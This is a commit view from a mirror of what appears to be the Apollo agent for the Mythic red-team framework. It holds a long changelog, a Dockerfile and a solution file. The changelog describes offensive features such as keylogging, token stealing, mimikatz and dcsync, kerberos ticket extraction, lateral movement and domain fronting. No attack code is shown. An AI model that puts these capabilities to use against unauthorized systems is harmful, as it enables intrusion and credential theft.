mirror of
https://github.com/Aryma-f4/Ares-mythic.git
synced 2026-08-26 01:51:25 +00:00
first commit
This commit is contained in:
@@ -0,0 +1,599 @@
|
||||
# Changelog
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v2.4.12] - 2026-03-18
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in `list_registered_files` and `remove_registered_file` commands to interact with Apollo's internal file store
|
||||
|
||||
## [v2.4.11] - 2026-03-13
|
||||
|
||||
### Changed
|
||||
|
||||
- Merged in PRs to support `httpx` and `azure_blob` C2 profiles
|
||||
- Merged in PR to support a few forms of environmental keying (execution checks, not encryption)
|
||||
|
||||
## [v2.4.10] - 2026-02-20
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `upload` command to allow new `-fileName` field and specifying an already uploaded file
|
||||
- this brings `upload` in line with other file-based commands like `execute_assembly` and `execute_coff`
|
||||
|
||||
## [v2.4.9] - 2026-02-02
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues
|
||||
|
||||
## [v2.4.8] - 2025-12-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `update_deleted` to more places within `ls` that do separate processing for better consistency
|
||||
|
||||
## [v2.4.7] - 2025-12-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings
|
||||
|
||||
## [v2.4.6] - 2025-12-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixing missing dependency change for custom browsers
|
||||
|
||||
## [v2.4.5] - 2025-12-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader
|
||||
- Added ldap_query
|
||||
- Updated reg_query
|
||||
|
||||
## [v2.4.4] - 2025-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly
|
||||
|
||||
## [v2.4.3] - 2025-10-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi package to v0.6.6
|
||||
|
||||
## [v2.4.2] - 2025-10-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi Version to allow build parameters to specify ui position
|
||||
|
||||
## [v2.4.1] - 2025-10-27
|
||||
|
||||
### Added
|
||||
|
||||
- Added support for the HTTPX Profile C2 transport
|
||||
- Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
|
||||
- Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
|
||||
- Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
|
||||
- Supports message placement in query parameters, cookies, headers, and body
|
||||
- Supports proxy configuration with authentication
|
||||
- Supports domain fronting and custom HTTP headers
|
||||
- Supports failover and round-robin domain rotation strategies
|
||||
- Added environment keying support for hostname, domain name and registry keys
|
||||
- Build process now conditionally includes only selected C2 profile projects
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi version
|
||||
- Merged in hotfix for P2P comms missing messages sometimes
|
||||
|
||||
## [v2.4.0] - 2025-10-07
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated to mythic-container==v0.6.0 for dynamic parameters
|
||||
- Updated build parameters to hide shellcode parameters when output type is not shellcode
|
||||
- Updated c2 deviations to hide get-based parameters that aren't used by this profile
|
||||
- Updated make_token to allow blank passwords
|
||||
- Updated ticket_store_purge to process `all` flag properly
|
||||
|
||||
## [v2.3.51] - 2025-09-12
|
||||
|
||||
## Changed
|
||||
|
||||
- Updated steal_token to report back the integrity level of the old and new token
|
||||
- Updated steal_token to adjust the callback's integrity level
|
||||
- Updated rev2self to adjust the callback's integrity level
|
||||
|
||||
## [v2.3.50] - 2025-09-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with spawning processes after doing a `steal_token`
|
||||
- it was using the primary token instead of the impersonated identity
|
||||
|
||||
## [v2.3.49] - 2025-09-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead
|
||||
- this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\`
|
||||
|
||||
## [v2.3.48] - 2025-08-25
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed parsing for kerberos tickets in ticket_store_add
|
||||
|
||||
## [v2.3.47] - 2025-08-21
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets
|
||||
|
||||
## [v2.3.46] - 2025-08-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better
|
||||
- Updated execute_pe to just report back process exit instead of misleading error codes
|
||||
|
||||
## [v2.3.45] - 2025-08-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent
|
||||
|
||||
## [v2.3.44] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated reg_write_value to split input on new lines for multiline input types
|
||||
|
||||
## [v2.3.43] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated reg_write_value to allow you to specify the type of data to write
|
||||
- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically
|
||||
|
||||
## [v2.3.42] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the screenshot_inject processing to use donut PyPi package
|
||||
|
||||
## [v2.3.41] - 2025-07-18
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the file upload messages to show chunk status and bail out on errors
|
||||
- Updated the status for execute_coff and execute_assembly to be more informative
|
||||
|
||||
## [v2.3.40] - 2025-07-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with upload via file browser not respecting pathing
|
||||
|
||||
## [v2.3.39] - 2025-07-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts
|
||||
|
||||
## [v2.3.38] - 2025-07-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting
|
||||
- Updated `socks` task to auto-issue `sleep 1` when stopping
|
||||
- Updated `socks` and `rpfwd` task display parameters
|
||||
- Updated `jobkill` display parameters to be more meaningful
|
||||
- Updated `jump_psexec` output to make sc output prettier
|
||||
- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit
|
||||
- this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid
|
||||
- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified
|
||||
- Updated ticket_cache_list to report back the current LUID even if there are no tickets available
|
||||
- Updated the associated browser script to account for this
|
||||
|
||||
## [v2.3.37] - 2025-07-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones
|
||||
- Fixed the same bug in steal_token output
|
||||
|
||||
## [v2.3.36] - 2025-07-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated wmiexecute to try two different ways of impersonating user context for remote execution
|
||||
- Added CoInitializeSecurity call into apollo main program
|
||||
|
||||
## [v2.3.35] - 2025-07-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated display params for wmiexecute
|
||||
- Updated display params for ticket_cache_list
|
||||
|
||||
## [v2.3.34] - 2025-07-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixing keylog_inject
|
||||
- adding keylog_inject browser script to go with it for basic conversion
|
||||
|
||||
## [v2.3.33] - 2025-07-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a new interface function to update the Agent UUID
|
||||
- Used this interface in HTTP and Websocket profiles
|
||||
- Updated `unlink` command to leverage this for properly reflecting unlinked agents
|
||||
- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating
|
||||
|
||||
## [v2.3.32] - 2025-07-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the help for the ticket commands
|
||||
- Updated the error message for ticket_cache_extract
|
||||
- Updated the completion function for ticket_cache_extract
|
||||
|
||||
## [v2.3.31] - 2025-07-07
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the processing for ticket_cache_list to better account for high/medium context
|
||||
- Updated wmiexecute error code to be in hex not int
|
||||
- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs
|
||||
|
||||
## [v2.3.30] - 2025-07-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject
|
||||
- these no longer require `register_*` commands and will automatically fetch the file if needed first
|
||||
|
||||
## [v2.3.29] - 2025-06-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `cd` callback information to get the new proper directory instead of what the user supplied
|
||||
|
||||
## [v2.3.28] - 2025-06-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token
|
||||
|
||||
## [v2.3.27] - 2025-06-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the build for COFFLoader.dll
|
||||
|
||||
## [v2.3.26] - 2025-06-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated apollo to support new cwd and impersonation_context fields
|
||||
- Updated execute_coff to copy COFFLoader.dll instead of move it as needed
|
||||
|
||||
## [v2.3.25] - 2025-06-05
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed type mismatch for ProxyPort
|
||||
|
||||
## [v2.3.24] - 2025-06-05
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable
|
||||
|
||||
## [v2.3.23] - 2025-05-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the file download to report back the file id sooner
|
||||
- Updated download browser script to display media as the file is downloading
|
||||
- Updated execute_coff and execute_assembly to have register_file as dependencies
|
||||
- Updated execute_coff to call execute_file instead of execute_coff command
|
||||
|
||||
## [v2.3.22] - 2025-05-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task
|
||||
|
||||
## [v2.3.21] - 2025-05-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the builder to include all commands when building a debug version of apollo
|
||||
- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash
|
||||
|
||||
## [v2.3.20] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated some kerberos ticket functions to return more detailed error messages
|
||||
|
||||
## [v2.3.19] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data
|
||||
|
||||
## [v2.3.18] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `ticket_cache_add` call to return more error status information
|
||||
|
||||
## [v2.3.17] - 2025-04-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues
|
||||
- Fixed the `debug` build option to properly respect user supplied c2 configuration options
|
||||
|
||||
## [v2.3.16] - 2025-04-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the processing for mimikatz credentials
|
||||
- Updated sleep to not have JSON in the display parameters
|
||||
- Updated error messages in sleep
|
||||
- Updated execute_assembly display parameters
|
||||
- Updated link .net command to test webshell connectivity first
|
||||
|
||||
## [v2.3.15] - 2025-04-02
|
||||
|
||||
### changed
|
||||
|
||||
- Fixed an issue with webshell linking
|
||||
|
||||
## [v2.3.14] - 2025-03-30
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with setting configuration options with `\` characters not getting properly escaped
|
||||
- Updated PyPi package
|
||||
|
||||
## [v2.3.13] - 2025-03-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode
|
||||
|
||||
## [v2.3.12] - 2025-03-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Added an action (stop/start) for the SOCKS command
|
||||
- Added an option for username/password for rpfwd/socks command
|
||||
- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side
|
||||
|
||||
## [v2.3.11] - 2025-03-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a few more try/catch blocks for named pipe writes
|
||||
- Fixed a compile bug with an out of scope variable
|
||||
|
||||
## [v2.3.10] - 2025-03-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a few more try/catch blocks for named pipe writes to help with breaks
|
||||
|
||||
## [v2.3.9] - 2025-03-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information
|
||||
- Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task
|
||||
|
||||
## [v2.3.8] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `debug` build option
|
||||
|
||||
## [v2.3.7] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added the ability to select already uploaded files as part of the register_* commands
|
||||
|
||||
## [v2.3.6] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
|
||||
- Removed sRDI package as it wasn't used
|
||||
- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
|
||||
- Updated ticket_[store|cache]_list commands to return structured JSON
|
||||
- Added browser scripts for ticket_[store|cache]_list commands
|
||||
-
|
||||
## [v2.3.5] - 2025-03-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients
|
||||
|
||||
## [v2.3.4] - 2025-03-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
|
||||
- Added a `getsystem` command
|
||||
- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
|
||||
|
||||
## [v2.3.3] - 2025-02-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Removed unnecessary make_token reference from sleep
|
||||
|
||||
## [v2.3.2] - 2025-02-25
|
||||
|
||||
### Changed
|
||||
|
||||
- Removed RunOF and replaced it with TrustedSec's COFFLoader project
|
||||
- Adjusted the execute_coff command to pack args instead of sending down a typed array
|
||||
- Added a reflective loader for the COFFLoader.dll (with Claude)
|
||||
- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude)
|
||||
|
||||
## [v2.3.1] - 2025-02-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host
|
||||
|
||||
## [v2.3.0] - 2025-02-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated TCP and SMB profiles to function the same way
|
||||
- Updated TCP and SMB profiles to use new TCP and SMB profile definitions
|
||||
- Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents
|
||||
- This change means that apollo TCP can link with Poseidon TCP
|
||||
|
||||
## [v2.2.25] - 2025-01-30
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug with upload if remote_path wasn't specified causing regex to break
|
||||
- Updated execute_coff to optionally take in a file at execution time to support forge
|
||||
- Updated execute_assembly to optionally take in a file at execution time to support forge
|
||||
- Updated inline_assembly to optionally take in a file at execution time to support forge
|
||||
|
||||
## [v2.2.24] - 2025-01-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
|
||||
|
||||
## [v2.2.23] - 2025-01-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default
|
||||
- Updated sleep to make Jitter an optional parameter
|
||||
|
||||
## [v2.2.21] - 2024-11-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added some options to the builder for specifying config options for donut
|
||||
- Added an option to auto-adjust the final payload name based on the configured options
|
||||
|
||||
## [v2.2.20] - 2024-11-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe
|
||||
- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs
|
||||
- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly
|
||||
- Updated `kill` to also support `process_browser:kill`
|
||||
|
||||
## [v2.2.19] - 2024-11-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated execute_pe code to use named pipes for reading output
|
||||
- Updated sacrificial process code to read stdout as well for commands like run
|
||||
- Updated run/shell to read output and exit
|
||||
|
||||
## [v2.2.18] - 2024-10-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `sleep` to take named parameters
|
||||
- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9
|
||||
- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage
|
||||
- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser
|
||||
- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded
|
||||
|
||||
## [v2.2.17] - 2024-10-04
|
||||
|
||||
### Changed
|
||||
|
||||
- updated execute_assembly injected stub to hopefully capture more output successfully
|
||||
|
||||
## [v2.2.16] - 2024-10-03
|
||||
|
||||
### Changed
|
||||
|
||||
- updated `jump_wmi` command
|
||||
- added `jump_psexec` command
|
||||
- added `Service` build option
|
||||
- updated execute_assembly and sacrificial processes to hopefully capture more output consistently
|
||||
|
||||
## [v2.2.15] - 2024-09-27
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in new `jump_wmi` command
|
||||
- Updated `make_token` to allow cli args instead of just modal without registering new creds
|
||||
- Updated sizes in ls browser script
|
||||
|
||||
## [v2.2.14] - 2024-09-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in functionality to link to Arachne via webshell configuration
|
||||
|
||||
## [v2.2.13] - 2024-08-21
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute
|
||||
|
||||
## [v2.2.12] - 2024-08-20
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed the ptr errors in net_localgroup and net_localgroup_member
|
||||
|
||||
## [v2.2.11] - 2024-08-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with keylogs coming in one keystroke at a time
|
||||
- Fixed an issue with ps command_line having broken quotes
|
||||
- Added rpfwd capabilities
|
||||
|
||||
## [v2.2.10] - 2024-08-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly
|
||||
|
||||
## [v2.2.5] - 2024-05-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Merged in Websocket PR
|
||||
- Merged in ExecuteCOFF PR
|
||||
- Added ticket_cache* commands for interacting with local kerberos tickets
|
||||
- Added ticket_store_* commands for interacting with a local kerberos store within the agent
|
||||
- Added wmi_execute command for executing WMI locally and remotely
|
||||
- Fixed double quoting issue in some commands
|
||||
- Fixed reg_write command
|
||||
- Updated `shell` to execute `run` without spawning sub task
|
||||
- Fixed jobs command
|
||||
- Updated .NET version used
|
||||
- Fixed SOCKS command performance and reliability
|
||||
@@ -0,0 +1,23 @@
|
||||
FROM mcr.microsoft.com/dotnet/sdk:8.0
|
||||
RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
|
||||
|
||||
RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \
|
||||
tar -xf donut_shellcode-2.0.0.tar.gz && \
|
||||
cd donut_shellcode-2.0.0 && \
|
||||
make && \
|
||||
cp donut / && \
|
||||
rm -rf donut_shellcode-2.0.0 && \
|
||||
rm -rf donut_shellcode-2.0.0.tar.gz
|
||||
|
||||
WORKDIR /Mythic/
|
||||
RUN python3 -m venv /venv
|
||||
RUN /venv/bin/python -m pip install mythic-container==0.6.14 mslex impacket toml
|
||||
RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
|
||||
|
||||
COPY [".", "."]
|
||||
|
||||
# fetch all dependencies
|
||||
RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
|
||||
RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll
|
||||
|
||||
CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]
|
||||
@@ -0,0 +1,3 @@
|
||||
# Do not format the Apollo Config.cs file
|
||||
[Apollo/Config.cs]
|
||||
generated_code = true
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"recommendations": [
|
||||
"ms-dotnettools.csharp",
|
||||
"ms-dotnettools.csdevkit"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.8.34525.116
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxProfile", "HttpxProfile\HttpxProfile.csproj", "{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxTransform", "HttpxTransform\HttpxTransform.csproj", "{BF1EB4E2-0979-4C26-A156-E59C929CF710}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
